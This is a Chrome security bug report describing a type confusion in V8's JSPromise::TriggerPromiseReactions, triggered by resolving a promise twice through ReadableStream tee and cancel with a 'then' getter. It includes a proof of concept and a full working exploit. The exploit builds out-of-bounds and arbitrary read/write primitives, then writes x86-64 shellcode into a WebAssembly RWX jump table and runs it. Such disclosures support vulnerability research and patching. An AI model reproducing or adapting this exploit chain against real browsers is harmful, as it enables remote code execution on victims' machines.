Chrome JSPromise::TriggerPromiseReactions Type Confusion

`Chrome: Type confusion in JSPromise::TriggerPromiseReactions   
  
  
  
VULNERABILITY DETAILS  
==1. TriggerPromiseReactions==  
https://cs.chromium.org/chromium/src/v8/src/objects.cc?rcl=d24c8dd69f1c7e89553ce101272aedefdb41110d&l=5975  
Handle<Object> JSPromise::TriggerPromiseReactions(Isolate* isolate,  
Handle<Object> reactions,  
Handle<Object> argument,  
PromiseReaction::Type type) {  
DCHECK(reactions->IsSmi() || reactions->IsPromiseReaction());  
  
// We need to reverse the {reactions} here, since we record them  
// on the JSPromise in the reverse order.  
{  
DisallowHeapAllocation no_gc;  
Object current = *reactions;  
Object reversed = Smi::kZero;  
while (!current->IsSmi()) {  
Object next = PromiseReaction::cast(current)->next(); // ***1***  
PromiseReaction::cast(current)->set_next(reversed);  
reversed = current;  
current = next;  
}  
reactions = handle(reversed, isolate);  
}  
[...]  
  
A Semmle query has triggered a warning that |TriggerPromiseReactions| performs a  
typecast on the |reactions| argument without prior checks[1]. Upon further  
inspection, it turned out that the JSPromise class reuses a single field to  
store both the result object and the reaction list (chained callbacks).  
Moreover, |JSPromise::Fulfill| and |JSPromise::Reject| don't ensure that the  
promise is still in the \"pending\" state, instead they rely on the default  
|resolve/reject| callbacks that are exposed to user JS code and use the  
|PromiseBuiltins::kAlreadyResolvedSlot| context variable to determine whether  
the promise has been resolved yet. So, it's enough to call, for example,  
|JSPromise::Fulfill| twice on the same Promise object to trigger the type  
confusion.  
  
  
==2. Thenable objects and JSPromise::Resolve==  
https://cs.chromium.org/chromium/src/v8/src/objects.cc?rcl=d24c8dd69f1c7e89553ce101272aedefdb41110d&l=5902  
MaybeHandle<Object> JSPromise::Resolve(Handle<JSPromise> promise,  
Handle<Object> resolution) {  
[...]  
// 8. Let then be Get(resolution, \"then\").  
MaybeHandle<Object> then;  
if (isolate->IsPromiseThenLookupChainIntact(  
Handle<JSReceiver>::cast(resolution))) {  
// We can skip the \"then\" lookup on {resolution} if its [[Prototype]]  
// is the (initial) Promise.prototype and the Promise#then protector  
// is intact, as that guards the lookup path for the \"then\" property  
// on JSPromise instances which have the (initial) %PromisePrototype%.  
then = isolate->promise_then();  
} else {  
then =  
JSReceiver::GetProperty(isolate, Handle<JSReceiver>::cast(resolution),  
isolate->factory()->then_string()); // ***2***  
[...]   
  
This is a known behavior, and yet it has already caused some problems in the  
past (see https://bugs.chromium.org/p/chromium/issues/detail?id=663476#c10).  
When the promise resolution is an object that has the |then| property, |Resolve|  
synchronously accesses that property and might invoke a user-defined getter[2],  
which means it's possible to run user JavaScript while the promise is in the  
middle of the resolution process. However, just calling the |resolve| callback  
inside the getter is not enough to trigger the type confusion because of the  
|kAlreadyResolvedSlot| check. Instead, one should look for places where  
|JSPromise::Resolve| is called directly.  
  
  
==3. V8 extras and ReadableStream==  
https://cs.chromium.org/chromium/src/third_party/blink/renderer/core/streams/ReadableStream.js?rcl=d67a775151929f516380749eae3b32f514eade11&l=425  
function ReadableStreamTee(stream) {  
const reader = AcquireReadableStreamDefaultReader(stream);  
  
let closedOrErrored = false;  
let canceled1 = false;  
let canceled2 = false;  
let reason1;  
let reason2;  
const cancelPromise = v8.createPromise();  
  
function pullAlgorithm() {  
return thenPromise(  
ReadableStreamDefaultReaderRead(reader), ({value, done}) => {  
if (done && !closedOrErrored) {  
if (!canceled1) {  
ReadableStreamDefaultControllerClose(branch1controller); // ***3***  
}  
if (!canceled2) {  
ReadableStreamDefaultControllerClose(branch2controller);  
}  
closedOrErrored = true;  
}  
[...]  
function cancel1Algorithm(reason) {  
canceled1 = true; // ***4***  
reason1 = reason;  
if (canceled2) {  
const cancelResult = ReadableStreamCancel(stream, [reason1, reason2]);  
resolvePromise(cancelPromise, cancelResult);  
}  
return cancelPromise;  
}  
[...]  
function ReadableStreamCancel(stream, reason) {  
stream[_readableStreamBits] |= DISTURBED;  
  
const state = ReadableStreamGetState(stream);  
if (state === STATE_CLOSED) {  
return Promise_resolve(undefined);  
}  
if (state === STATE_ERRORED) {  
return Promise_reject(stream[_storedError]);  
}  
  
ReadableStreamClose(stream);  
  
const sourceCancelPromise =  
ReadableStreamDefaultControllerCancel(stream[_controller], reason);  
return thenPromise(sourceCancelPromise, () => undefined);  
}  
  
function ReadableStreamClose(stream) {  
ReadableStreamSetState(stream, STATE_CLOSED);  
  
const reader = stream[_reader];  
if (reader === undefined) {  
return;  
}  
  
if (IsReadableStreamDefaultReader(reader) === true) {  
reader[_readRequests].forEach(  
request =>  
resolvePromise(  
request.promise,  
ReadableStreamCreateReadResult(undefined, true,  
request.forAuthorCode)));  
reader[_readRequests] = new binding.SimpleQueue();  
}  
  
resolvePromise(reader[_closedPromise], undefined);  
}  
  
A tiny part of Blink (namely, Streams API) is implemented as a v8 extra, i.e., a  
set of JavaScript classes with a couple of internal v8 methods exposed to them.  
The relevant ones are |v8.resolvePromise| and |v8.rejectPromise|, as they just  
call |JSPromise::Resolve/Reject| and don't check the status of the promise  
passed as an argument. Instead, the JS code around them defines a bunch of  
boolean variables to track the stream's state. Unfortunately, there's a scenario  
in which the state checks could be bypassed:  
1. Create a new ReadableStream with an underlying source object that exposes the  
stream controller's |stop| method.  
2. Call the |tee| method to create a pair of child streams.  
3. Make a read request for one of the child streams thus putting a new Promise  
object to the |_readRequests| queue.  
4. Define a getter for the |then| property on Object.prototype. From this point  
every promise resolution where the resolution object inherits from  
Object.prototype will call the getter.  
5. Call |cancel| on the child stream. The call stack will eventually look like:  
ReadableStreamCancel -> ReadableStreamClose -> resolvePromise ->  
JSPromise::Resolve -> the |then| getter.  
6. Inside the getter, calling regular methods on the child stream won't work  
because its state is already set to \"closed\", but an attacker can call the  
controller's |stop| method. Because |ReadableStreamClose| is executed before the  
cancel callback[4], the |cancel1| flag won't be set yet, so the |close| method  
will be called again[3] resolving the promise that is currently in the middle  
of the resolution process.  
  
The only problem here is the code [3] gets executed as another promise's  
reaction, i.e. as a microtask, and microtasks are supposed to be executed  
asynchronously.  
  
  
==4. MicrotasksScope==  
V8 exposes the MicrotasksScope class to Blink to control microtask execution.  
MicrotasksScope's destructor will run all scheduled microtasks synchronously, if  
the object that's being destructed is the top-level MicrotasksScope. Therefore,  
calling a Blink method that instantiates a MicrotasksScope should allow running  
the scheduled promise reaction[3] synchronously. However, usually all JS code  
(<script> body, event handlers, timeouts) already runs inside a MicrotasksScope.  
One way to overcome this is to define the JS code as the |handleEvent| property  
getter of an EventListener object and add the listener to, e.g., the |load|  
event.  
  
Putting it all together, the PoC is as follows:  
<body>  
<script>  
performMicrotaskCheckpoint = () => {  
document.createNodeIterator(document, -1, {  
acceptNode() {  
return NodeFilter.FILTER_ACCEPT;  
} }).nextNode();  
}  
  
runOutsideMicrotasksScope = func => {  
window.addEventListener(\"load\", { get handleEvent() {  
func();  
} });  
}  
  
runOutsideMicrotasksScope (() => {  
let stream = new ReadableStream({ start(ctr) { controller = ctr } });  
let tee_streams = stream.tee();  
let reader = tee_streams[0].getReader();  
reader.read();  
let then_counter = 0;  
  
Object.prototype.__defineGetter__(\"then\", function() {  
if (++then_counter == 1) {  
controller.close();  
performMicrotaskCheckpoint();  
}  
});  
reader.cancel();  
});  
</script>  
</body>  
  
  
==5. Exploitation==  
The bug allows an attacker to make the browser treat the object of their choice  
as a PromiseReaction. If the second qword of the object contains a value that  
looks like a tagged pointer, |TriggerPromiseReactions| will treat it as a  
pointer to another PromiseReaction in the reaction chain and try to reverse the  
chain. This primitive is not very useful without a separate info leak bug. If  
the second qword looks like a Smi, the method will overwrite the first, third  
and fourth qwords with tagged pointers. So, if the attacker allocates a  
HeapNumber and a FixedDobuleArray that are adjacent to each other, and the  
umber's value has its LSB set to 0, the function will overwrite the array's  
length with a pointer that looks like a sufficiently large Smi. The array's map  
pointer will also get corrupted, but that's not important (at least, for release  
builds).  
  
-----------------------------------------------------------------  
| HeapNumber || FixedDoubleArray |  
-----------------------------------------------------------------  
| Map | Value || Map | Length | Element 0 | ... |  
-----------------------------------------------------------------  
  
Once the attacker has the relative read/write primitive, it's easy to construct  
the pointer leak and arbitrary read/write primitives by finding the offsets of a  
couple other objects allocated next to the array. Finally, to execute the  
shellcode the exploit overwrites the jump table of a WebAssembly function, which  
is stored in a RWX memory page.  
  
Exploit (the shellcode runs gnome-calculator on linux x64):  
<body>  
<script>  
performMicrotaskCheckpoint = () => {  
document.createNodeIterator(document, -1, {  
acceptNode() {  
return NodeFilter.FILTER_ACCEPT;  
} }).nextNode();  
}  
  
runOutsideMicrotasksScope = func => {  
window.addEventListener(\"load\", { get handleEvent() {  
func();  
} });  
}  
  
let data_view = new DataView(new ArrayBuffer(8));  
reverseDword = dword => {  
data_view.setUint32(0, dword, true);  
return data_view.getUint32(0, false);  
}  
  
reverseQword = qword => {  
data_view.setBigUint64(0, qword, true);  
return data_view.getBigUint64(0, false);  
}  
  
floatAsQword = float => {  
data_view.setFloat64(0, float);  
return data_view.getBigUint64(0);  
}  
  
qwordAsFloat = qword => {  
data_view.setBigUint64(0, qword);  
return data_view.getFloat64(0);  
}  
  
let oob_access_array;  
let ptr_leak_object;  
let arbirary_access_array;  
let ptr_leak_index;  
let external_ptr_index;  
const MARKER = 0x31337;  
  
leakPtr = obj => {  
ptr_leak_object[0] = obj;  
return floatAsQword(oob_access_array[ptr_leak_index]);  
}  
  
getQword = address => {  
oob_access_array[external_ptr_index] = qwordAsFloat(address);  
return arbirary_access_array[0];  
}  
  
setQword = (address, value) => {  
oob_access_array[external_ptr_index] = qwordAsFloat(address);  
arbirary_access_array[0] = value;  
}  
  
getField = (object_ptr, num, tagged = true) =>  
object_ptr + BigInt(num * 8 - (tagged ? 1 : 0));  
  
setBytes = (address, array) => {  
for (let i = 0; i < array.length; ++i) {  
setQword(address + BigInt(i), BigInt(array[i]));  
}  
}  
  
// ------------------------- \\\\  
  
runOutsideMicrotasksScope (() => {  
oob_access_array = Array(16).fill(1.1);  
ptr_leak_object = {};  
arbirary_access_array = new BigUint64Array(1);  
oob_access_array.length = 0;  
  
const heap_number_to_corrupt = qwordAsFloat(0x10101010n);  
oob_access_array[0] = 1.1;  
ptr_leak_object[0] = MARKER;  
arbirary_access_array.buffer;  
  
let stream = new ReadableStream({ start(ctr) { controller = ctr } });  
let tee_streams = stream.tee();  
let reader = tee_streams[0].getReader();  
reader.read();  
reader.read();  
let then_counter = 0;  
  
Object.prototype.__defineGetter__(\"then\", function() {  
let counter_value = ++then_counter;  
if (counter_value == 1) {  
controller.close();  
performMicrotaskCheckpoint();  
throw 0x123;  
} else if (counter_value == 2) {   
throw heap_number_to_corrupt;  
} else if (counter_value == 4) {  
oob_access_array.length = 60;  
  
findOffsets();  
runCalc();  
}  
});  
reader.cancel();  
});  
  
findOffsets = () => {  
let markerAsFloat = qwordAsFloat(BigInt(MARKER) << 32n);  
for (ptr_leak_index = 0; ptr_leak_index < oob_access_array.length;  
++ptr_leak_index) {  
if (oob_access_array[ptr_leak_index] === markerAsFloat) {  
break;  
}  
}  
  
let oneAsFloat = qwordAsFloat(1n << 32n);  
for (external_ptr_index = 2; external_ptr_index < oob_access_array.length;  
++external_ptr_index) {  
if (oob_access_array[external_ptr_index - 2] === oneAsFloat &&  
oob_access_array[external_ptr_index - 1] === 0) {  
break;  
}  
}  
  
if (ptr_leak_index === oob_access_array.length ||  
external_ptr_index === oob_access_array.length) {  
throw \"Couldn't find the offsets\";  
}  
}  
  
runCalc = () => {  
const wasm_code = new Uint8Array([  
0x00, 0x61, 0x73, 0x6d, 0x01, 0x00, 0x00, 0x00,  
0x01, 0x85, 0x80, 0x80, 0x80, 0x00, 0x01, 0x60,  
0x00, 0x01, 0x7f, 0x03, 0x82, 0x80, 0x80, 0x80,  
0x00, 0x01, 0x00, 0x06, 0x81, 0x80, 0x80, 0x80,  
0x00, 0x00, 0x07, 0x85, 0x80, 0x80, 0x80, 0x00,  
0x01, 0x01, 0x61, 0x00, 0x00, 0x0a, 0x8a, 0x80,  
0x80, 0x80, 0x00, 0x01, 0x84, 0x80, 0x80, 0x80,  
0x00, 0x00, 0x41, 0x00, 0x0b  
]);  
const wasm_instance = new WebAssembly.Instance(  
new WebAssembly.Module(wasm_code));  
const wasm_func = wasm_instance.exports.a;  
  
const shellcode = [  
0x48, 0x31, 0xf6, 0x56, 0x48, 0x8d, 0x3d, 0x32,  
0x00, 0x00, 0x00, 0x57, 0x48, 0x89, 0xe2, 0x56,  
0x48, 0x8d, 0x3d, 0x0c, 0x00, 0x00, 0x00, 0x57,  
0x48, 0x89, 0xe6, 0xb8, 0x3b, 0x00, 0x00, 0x00,  
0x0f, 0x05, 0xcc, 0x2f, 0x75, 0x73, 0x72, 0x2f,  
0x62, 0x69, 0x6e, 0x2f, 0x67, 0x6e, 0x6f, 0x6d,  
0x65, 0x2d, 0x63, 0x61, 0x6c, 0x63, 0x75, 0x6c,  
0x61, 0x74, 0x6f, 0x72, 0x00, 0x44, 0x49, 0x53,  
0x50, 0x4c, 0x41, 0x59, 0x3d, 0x3a, 0x30, 0x00  
];  
  
wasm_instance_ptr = leakPtr(wasm_instance);  
const jump_table = getQword(getField(wasm_instance_ptr, 32));  
setBytes(jump_table, shellcode);  
wasm_func();  
}  
</script>  
</body>  
  
  
VERSION  
Google Chrome 72.0.3626.96 (Official Build) (64-bit)  
Google Chrome 74.0.3702.0 (Official Build) dev (64-bit)  
  
  
This bug is subject to a 90 day disclosure deadline. After 90 days elapse  
or a patch has been made broadly available (whichever is earlier), the bug  
report will become visible to the public.  
  
  
  
Found by: [email protected]  
  
`